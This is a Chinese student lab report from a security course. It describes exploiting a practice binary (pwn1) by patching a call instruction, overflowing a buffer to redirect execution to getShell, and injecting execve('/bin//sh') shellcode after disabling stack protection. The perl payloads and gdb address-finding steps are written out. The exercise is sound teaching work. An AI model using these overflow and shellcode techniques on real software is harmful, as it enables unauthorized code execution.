首页 > 其他分享 >20222403 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222403 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-10 22:43:47浏览次数:1  
标签:x90 20222403QiaoXu x2f 2024 2025 gdb 20222403 实验 指令

1.实验内容

本周学习内容

1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。

2.实验过程

任务一 直接修改程序机器指令,改变程序执行流程
下载并解压目标文件pwn1,然后拖入虚拟机kali,并将其重命名为20222403QiaoXu。

使用命令objdump -d 20222403QiaoXu对文件20222403QiaoXu进行反汇编。
找到80484b5这一行,从这里可以看到这条指令将调用位于地址8048491处的foo函数,也就是说main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。

如果想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,经过计算得到补码c3ffffff。
先用指令cp pwn1 pwn2,再使用命令vi打开文件进行编辑,输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。

将d7ffffff变为c3ffffff。输入:%!xxd -r转换16进制为原格式,:wq保存修改。
再反汇编看一下,call指令是否正确调用getShell。

说明修改成功,这次call指令可以调用getShell了。
运行修改后的代码可以发现shell提示符

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
从上一个任务看到,该可执行文件正常运行是调用foo函数,但只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。
输入gdb 20222403QiaoXu指令后,发现kali并没有自带gdb,所以使用指令“sudo apt update” 和 “sudo apt install gdb”进行安装。


接下来确认输入字符串哪几个字符会覆盖到返回地址。
先后使用gdb 20222403QiaoXu、(gdb) r,输入1111111122222222333333334444444455555555,之后使用info r查看EIP寄存器中的数据。

eip中存的地址变成了 0x35353535。
重复以上步骤,输入1111111122222222333333334444444412345678。

eip中存的地址变成了 0x34333231,也就是4321。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,再使用16进制查看指令xxd input查看文件的内容是否符合预期。

然后将input的输入,通过管道符“|”,作为20222403QiaoXu的输入。
任务三 注入Shellcode并执行
首先修改堆栈设置,但是没有安装execstack,于是先使用命令sudo apt-get upgrade,sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb等指令安装此工具。

接下来修改堆栈设置完成准备工作。

构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,然后打开终端注入攻击buf:

打开另外一个终端,用gdb来调试,先看一下20222403QiaoXu的进程号。

然后启动gdb调试这个进程。

通过设置断点,来查看注入buf的内存地址.


在另外一个终端中按下回车,由于shellcode是紧挨着返回地址,所以可以计算shellcode的地址应为0xbffb1150,需要把返回地址改为erl -e 'print "A" x 32;print "\x50\x11\xfb\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3.问题及解决方案
问题1:系统显示无gdb,需要安装。
问题1解决方案:使用“sudo apt update” 和 “sudo apt install gdb”指令进行安装

问题2:execstack不存在,无法查找
问题2解决方案:再官网上下载文件,拖入虚拟机中,解压即可。
4.学习感悟、思考等
第一次网络与系统攻防技术实验,我像往常提前看了实验指导书,感觉无从下手,因为实验目的、实验要求非常不明确。实验开始后,我按着实验指导一步一步做,但是总遇到问题,不是没有打开桌面文件,就是没有虚拟机不停卡顿。实验过程中,总是遇到细节上的问题,通过不断再网上查找,问同学,终于逐步将实验进行下去。这次试验考验了我的耐心,也培养了我自主思考的能力。

标签:x90,20222403QiaoXu,x2f,2024,2025,gdb,20222403,实验,指令
From: https://www.cnblogs.com/20222403qx/p/18457006

相关文章

  • 天涯神贴2024最新整理核心300+篇
    天涯神贴天涯社区创办于1999年,逐步成为了无数网民的精神家园。在2007年,天涯的注册用户突破了2000万,社区开始自称为“全球最大的中文互联网社区”,并喊出了“全球华人的网上家园”这一口号。天涯社区不仅是一个论坛,更是许多网民在互联网世界中的第一份归属感。在这个平台上,诞......
  • 2024.10 做题记录
    10.1gym104922I模拟赛T4。wqs二分,维护dp值和取到dp值的\(k\)的区间。倒序记录方案,要满足能落到合法区间中。10.2模拟赛T3建子序列自动机,DAG上dp并按字典序出边贪心记录方案。DAG链剖分。\(u\)向\(2f_v\gef_u\)的\(v\)连边,形成内向树。重边倍增,轻边跳一次......
  • 20222428 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容1.1.1安全漏洞简介定义:系统的缺陷或不足。作用:网络攻击和防御的关键点。网络攻击:利用系统漏洞进行攻击。防御:提前发现漏洞并修复。exploit:完整的代码攻击。shellcode:不完整的代码攻击。PoC:验证是否存在漏洞。1.1.2缓冲区溢出的定义和原因......
  • 2024年完整版Java面试八股文!
    1、String能被继承吗为什么用final修饰   难度系数:⭐不能被继承,因为String类有final修饰符,而final修饰的类是不能被继承的。String 类是最常用的类之一,为了效率,禁止被继承和重写。为了安全。String类中有native关键字修饰的调用系统级别的本地方法,调用了操作系统的API......
  • 20222304 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容1)反汇编反汇编是指将计算机程序的机器代码转换回其相应的汇编代码的过程。在计算机编程和逆向工程领域中,反汇编是一种常见的技术,用于理解和分析二进制程序的功能和内部结构。通常情况下,程序员编写的源代码会被编译器转换成机器码,这是计算机可以直接......
  • 2024CCPC山东邀请赛 IAFCK
    2024CCPC山东邀请赛IAFCKI.LeftShifting思路:要第一个和最后一个一样,那找到第一个连续的两个一样的就是答案。如果一开始第一个和最后一个就是一样的,那就是0。//AConemoretimes//nndbk#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constin......
  • DCL&并发事务问题与解决 -2024/10/10
    DCLusemysql;--创建用户createuser'yd'@'localhost'identifiedby'123456';--修改用户的密码alteruser'yd'@'localhost'identifiedby'1234';--%表示任意主机都可以访问--删除用户dropuser'yd'@'l......
  • 20222321 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    一.实验内容1实验目标本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想......
  • 20222411 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1基础知识1.1.1NOP,JNE,JE,JMP,CMP汇编指令的机器码(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)(3)JE:条件转移指令,如果相等则跳转。(......
  • 2024年1月Java项目开发指南18:自定义异常输出
    一般情况下,报错信息一大堆,值得注意的只有三个地方:哪个文件发生了错误哪一行发生了错误错误原因是什么只要知道这三个东西就能快速的定位到错误发生的位置并且根据提示解决。如果你也喜欢我的这种异常输出(如文章顶部图)那么可以参考以下代码:packagecom.guaiguailang.harm......